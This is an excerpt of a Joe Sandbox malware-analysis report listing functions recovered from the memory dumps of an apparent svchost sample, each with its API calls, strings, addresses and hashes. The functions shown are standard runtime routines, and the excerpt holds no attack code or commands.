Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 9535595f2d5b3128af2fe5046373e287b76004281ae0a90470849019b84fb0ec
Instruction ID: 0478c1719443cb3bbcc2d69b9dab63d13320c3051358b0e28f56153318ed74e5
Opcode Fuzzy Hash: 9535595f2d5b3128af2fe5046373e287b76004281ae0a90470849019b84fb0ec
Instruction Fuzzy Hash: 9C413D32306A4889FB96DFB0D4903EC33B4EB49788F088425EE4967A59DF35C629D754

Function 000000018000A6D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000018000A73B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000000018000A783
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018000A813

Strings

bad locale name, xrefs: 000000018000A836

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 74bb22bf7872233758b5775a8b99bf93cb883e5aa2b40f796bc204084f09e162
Instruction ID: 3feb20ae6f2ec3218ae3cc279864f7ad9a6e89298191fe2055e500f2d9f5979e
Opcode Fuzzy Hash: 74bb22bf7872233758b5775a8b99bf93cb883e5aa2b40f796bc204084f09e162
Instruction Fuzzy Hash: 85411D3270AA4889FB96DF71E4903EC33B4EB49788F04C425EE4967A59DF34C62AD354

Function 00007FF8B7E711C8 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF8B7E71247
WriteFile.KERNEL32 ref: 00007FF8B7E7150F
WriteFile.KERNEL32 ref: 00007FF8B7E71555
GetLastError.KERNEL32 ref: 00007FF8B7E7160B

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 4ef9940ea1b474500dc4a2662c7a5a2e8899eae8efb99d945ae8405d24e15c71
Instruction ID: 0c9e857828826ea20cc231455536b0f2cf8102e3ca390b838fe5627bc678cf24
Opcode Fuzzy Hash: 4ef9940ea1b474500dc4a2662c7a5a2e8899eae8efb99d945ae8405d24e15c71
Instruction Fuzzy Hash: D5D1A032B18B8189E711CFA9D4402AC3BA5EB84BD8F544236DF5E97BA9DE3CD406C340

Function 0000000180027764 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000001800277E3
WriteFile.KERNEL32 ref: 0000000180027AAB
WriteFile.KERNEL32 ref: 0000000180027AF1
GetLastError.KERNEL32 ref: 0000000180027BA7

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: e20530bc97f4ca1de5f8262d63f83321e61ba8dabedd5c6e4af5336c674aa790
Instruction ID: e414387e0a34045e6e503fe672a8dfda36e5d9c7cdc1e6ecc70ff3233b7b5e42
Opcode Fuzzy Hash: e20530bc97f4ca1de5f8262d63f83321e61ba8dabedd5c6e4af5336c674aa790
Instruction Fuzzy Hash: 85D1CD32B14A8889EB53CF65D4543EC37A2F3497D8F548216EE5E97B9ADE34C60AC700

Function 00007FF8B7E71AF0 Relevance: 6.2, APIs: 4, Instructions: 219COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8B7E71ADB), ref: 00007FF8B7E71C0C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8B7E71ADB), ref: 00007FF8B7E71C97

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 5b649c9db4083aea233fc0746a04530a29fdc51f434fcfb2e97d36cd920424a9
Instruction ID: 5f6e48999bf108c0a69ac08e46dbfbbe400f66adc0f32342556986a174832efd
Opcode Fuzzy Hash: 5b649c9db4083aea233fc0746a04530a29fdc51f434fcfb2e97d36cd920424a9
Instruction Fuzzy Hash: 23919D22E1875295F7648F6D94802BD2FA0AF85FC8F144139EF4E67AA4DE3CE446C700

Function 0000000180028124 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000018002810F), ref: 0000000180028240
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000018002810F), ref: 00000001800282CB

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 562626ee6eeabb294e29973b1e3ac9117384abc82bf978564d7df0e1c2cd1302
Instruction ID: cfdff32ee6a0b330a8ede593821a255a3fb61ba075b1e36ab6871aac2bed355e
Opcode Fuzzy Hash: 562626ee6eeabb294e29973b1e3ac9117384abc82bf978564d7df0e1c2cd1302
Instruction Fuzzy Hash: 5691B236701A5889F7E3CF6594403ED2BA4BB48BC8F54C119EE0A67A85DF34C68ED700

Function 00007FF8B7E5ACA0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8B7E5ACCC
GetCurrentThreadId.KERNEL32 ref: 00007FF8B7E5ACDA
GetCurrentProcessId.KERNEL32 ref: 00007FF8B7E5ACE6
QueryPerformanceCounter.KERNEL32 ref: 00007FF8B7E5ACF6

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: f8e28eac0cd57c0306a97006ad14641849d2dff896fa5ff4423e553323c15e10
Instruction ID: beecc6e0b977f8c43c6c125fe806ce13921660e35e5221f039c971f1dfc4aedf
Opcode Fuzzy Hash: f8e28eac0cd57c0306a97006ad14641849d2dff896fa5ff4423e553323c15e10
Instruction Fuzzy Hash: 0D110632B14B058AEB00CB64E8552A833A4FB19B98F440E35DB6D86BA4DF7CD5548340

Function 0000000180010F70 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000000180010F9C
GetCurrentThreadId.KERNEL32 ref: 0000000180010FAA
GetCurrentProcessId.KERNEL32 ref: 0000000180010FB6
QueryPerformanceCounter.KERNEL32 ref: 0000000180010FC6

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: ade67dbb610ccb3d627fd069eed25604e18edfc2f3bd5cdb5a5a7b8298c92a3e
Instruction ID: ab8d322dc1d20cc9f1957aeaba968c6862ea000d44a32421a4432e386750c7d7
Opcode Fuzzy Hash: ade67dbb610ccb3d627fd069eed25604e18edfc2f3bd5cdb5a5a7b8298c92a3e
Instruction Fuzzy Hash: C4112E36710F0889EB51CF60E8543EA33A4F71D799F441E21FA6D867A4DF78C2988340

Function 00007FF8B7E5DFF4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF8B7E5E01E

Strings

csm, xrefs: 00007FF8B7E5E043
csm, xrefs: 00007FF8B7E5E1B2

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 707c1b5605f5fcb2aafc5ebb6f08e1088761a1cd2bf07c3cd42da6f547218daf
Instruction ID: 820c18db40dd80f21bd52e4b3e40336a20b72917ff14b4685a459b38188a4559
Opcode Fuzzy Hash: 707c1b5605f5fcb2aafc5ebb6f08e1088761a1cd2bf07c3cd42da6f547218daf
Instruction Fuzzy Hash: 55717DB69087CA8ADB608E69945077D7BA0FF05FC8F148135DB884BAA9CF2CE591C741

Function 00000001800142C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000001800142EE

Strings

csm, xrefs: 0000000180014482
csm, xrefs: 0000000180014313

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: a15e7e6e6838bff093d1ff398cfd1c8d3e13dd7ddc293e1b2cd09ef1a6ec10ef
Instruction ID: 29193a7f1744e44eb7305b5745631c2b965089d7897b6a567e3212cb0fca640e
Opcode Fuzzy Hash: a15e7e6e6838bff093d1ff398cfd1c8d3e13dd7ddc293e1b2cd09ef1a6ec10ef
Instruction Fuzzy Hash: D5719F73205A84C7D7A28F25A4507AD7BA1F308BD8F14C115FB984BA9ADF38C699C700

Function 0000000180002BA0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180002D43
Concurrency::cancel_current_task.LIBCPMT ref: 0000000180002D49

Strings

Kernel, xrefs: 0000000180002BA0

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: Kernel
API String ID: 73155330-1518247837
Opcode ID: e924e503a5dd8f0d5980a178292ba66dd999e8d5df44bd3456a39b3c2c932272
Instruction ID: 73fea407abaecd951f27dfb7fab97ba3e48c050836e66ed8278eeeee13e80c90
Opcode Fuzzy Hash: e924e503a5dd8f0d5980a178292ba66dd999e8d5df44bd3456a39b3c2c932272
Instruction Fuzzy Hash: 43419372310A8896EA96DB16E5043DEB351E74CBE4F948712BE7D4BBD5DE38C649C300

Function 00007FF8B7E5E68C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF8B7E5E736
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF8B7E5E75F

Strings

csm, xrefs: 00007FF8B7E5E85F

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 471b84aad66978e3fd41f2b9c9bd81cb35747faaf0ab5575b9a1f1909d9f491f
Instruction ID: 0c4696bc13b564d19cdebd5e951bead29258ef07b8662c106181b8293c48e133
Opcode Fuzzy Hash: 471b84aad66978e3fd41f2b9c9bd81cb35747faaf0ab5575b9a1f1909d9f491f
Instruction Fuzzy Hash: 48513FB6A1878586E7209B2AE54026D77B4FB89BD0F141135DB8D4BB65CF3CF451CB00

Function 000000018001495C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000000180014A06
_CreateFrameInfo.LIBVCRUNTIME ref: 0000000180014A2F

Strings

csm, xrefs: 0000000180014B2F

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: f65a560247cb11877f758cfd174c191fb2ce16cd76169c2794132db0d469c6cc
Instruction ID: 71fd112e703c48831a750be91e20606987b0e5228c416c3e1c445d6d1c8353c2
Opcode Fuzzy Hash: f65a560247cb11877f758cfd174c191fb2ce16cd76169c2794132db0d469c6cc
Instruction Fuzzy Hash: 00516C37218B4886E7A1EF25E18139E77A4F38CBD1F104514EB890BB65DF38C664CB05

Function 000000018000D180 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000D2FD
Concurrency::cancel_current_task.LIBCPMT ref: 000000018000D303

Strings

C:\Windows\System32\, xrefs: 000000018000D267

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: C:\Windows\System32\
API String ID: 73155330-3629623743
Opcode ID: 982f76470b84ed862a6c700ddfdb6a378f5abe0fbb1bb1de7629dbc5a94dc998
Instruction ID: 17096694c0c784583cb1feb8d7302eea1b612545584bcecd251e7c49c09287c7
Opcode Fuzzy Hash: 982f76470b84ed862a6c700ddfdb6a378f5abe0fbb1bb1de7629dbc5a94dc998
Instruction Fuzzy Hash: 9B41C072310A4C85EE92DB56E5443EDB352A74DBF0F948B22BA7D0BBD5DE38C2498304

Function 000000018000CED0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000D023
Concurrency::cancel_current_task.LIBCPMT ref: 000000018000D029

Strings

ws\, xrefs: 000000018000CFE3

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: ws\
API String ID: 73155330-3358625837
Opcode ID: c1f975bb15603f1d9d9ac336f30a2b28a282d8093b5e38d510c6533f126b7d19
Instruction ID: 8836ec13393a57e762b1f4457ac691b2bd2a784293eafdbc99a99070e6bf0191
Opcode Fuzzy Hash: c1f975bb15603f1d9d9ac336f30a2b28a282d8093b5e38d510c6533f126b7d19
Instruction Fuzzy Hash: F231C232605B4981EA92DB21E5447E973A1E748BF4F548722BEBD03BD5EF38D289C305

Function 00007FF8B7E71860 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF8B7E71977
GetLastError.KERNEL32 ref: 00007FF8B7E71999

Strings

U, xrefs: 00007FF8B7E71923

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 9325d39830ba949c68e518f67a412a3537c7bcc2db5a5fe7e52ca70c8600efc4
Instruction ID: e1a75d9d117dff410556d4a7ae738077a4e84b9f8f502d14383b8f977f63e880
Opcode Fuzzy Hash: 9325d39830ba949c68e518f67a412a3537c7bcc2db5a5fe7e52ca70c8600efc4
Instruction Fuzzy Hash: 85418262A18B8585EB20DF29E4443AD6BA5FB98BD4F504131EF4D877A4EF3CD441C740

Function 0000000180027DFC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000000180027F13
GetLastError.KERNEL32 ref: 0000000180027F35

Strings

U, xrefs: 0000000180027EBF

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 7fb00dc1eacfe8963d59b191f6a37096229e5ca084782295941fe5eabe7a033a
Instruction ID: a7db4ec5a5a2765af6a4a329d82fdd863d00d1ee39654a50406a701c00325b52
Opcode Fuzzy Hash: 7fb00dc1eacfe8963d59b191f6a37096229e5ca084782295941fe5eabe7a033a
Instruction Fuzzy Hash: 0641B232718A8486DBA28F25E4443EAA761F79C7C4F418021FE4D87B89DF38C549C740

Function 00007FF8B7E53BF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8B7E53C9F
__std_exception_copy.LIBVCRUNTIME ref: 00007FF8B7E53CD8

Strings

ios_base::failbit set, xrefs: 00007FF8B7E53BF0

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: __std_exception_copy_invalid_parameter_noinfo_noreturn
String ID: ios_base::failbit set
API String ID: 1109970293-3924258884
Opcode ID: bedd33a22e5991c755c524ac2e4f9782d0a2e46588d00469e765dfa95697020e
Instruction ID: 5c9d993ce0b9c7285ff8b21688a80094c5e3269e9e6d986791a11ba91d439793
Opcode Fuzzy Hash: bedd33a22e5991c755c524ac2e4f9782d0a2e46588d00469e765dfa95697020e
Instruction Fuzzy Hash: DE217762E18BC981EB118B29E5411BD6320FF59BA4F549331EBAD127A5EF7CE1D0C300

